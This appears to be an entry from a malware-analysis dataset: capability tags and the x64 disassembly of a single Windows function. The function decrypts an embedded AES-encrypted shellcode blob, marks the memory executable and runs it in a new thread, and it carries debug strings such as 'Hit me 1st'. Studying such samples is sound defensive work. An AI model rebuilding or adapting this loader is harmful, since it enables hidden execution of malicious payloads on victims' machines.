Function at 0x140001130
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x140022078]
xor rax, rsp
mov qword [rsp + 0x270], rax
movdqa xmm0, xmmword [0x1400175a0]
lea rcx, [rsp + 0x70]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x38], 0
lea rax, [0x1400173a0]
mov edx, 4
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001180
xor ecx, ecx
mov edx, 0x200
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, [rsp + 0x70]
mov rdi, rax
lea rdx, str.payload_addr
lea rcx, [0x140022010]
call fcn.1400013c0
mov r8, rdi
lea rdx, str.exec_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.1400013c0
lea rcx, str._nHit_me_1st__n
call fcn.1400013c0
call fcn.140005698
mov r9d, 0x18
mov dword [rsp + 0x30], 0x200
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001311
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001311
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x58]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001311
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001311
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001311
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r8d, 0x200
lea rdx, [rsp + 0x70]
mov rcx, rdi
call fcn.1400021c0
lea r9, [rsp + 0x38]
mov edx, 0x200
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str._nHit_me_2nd__n
mov ebx, eax
call fcn.1400013c0
call fcn.140005698
test ebx, ebx
je 0x140001383
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400014a0
mov rbx, qword [rsp + 0x290]
add rsp, 0x280
pop rdi
ret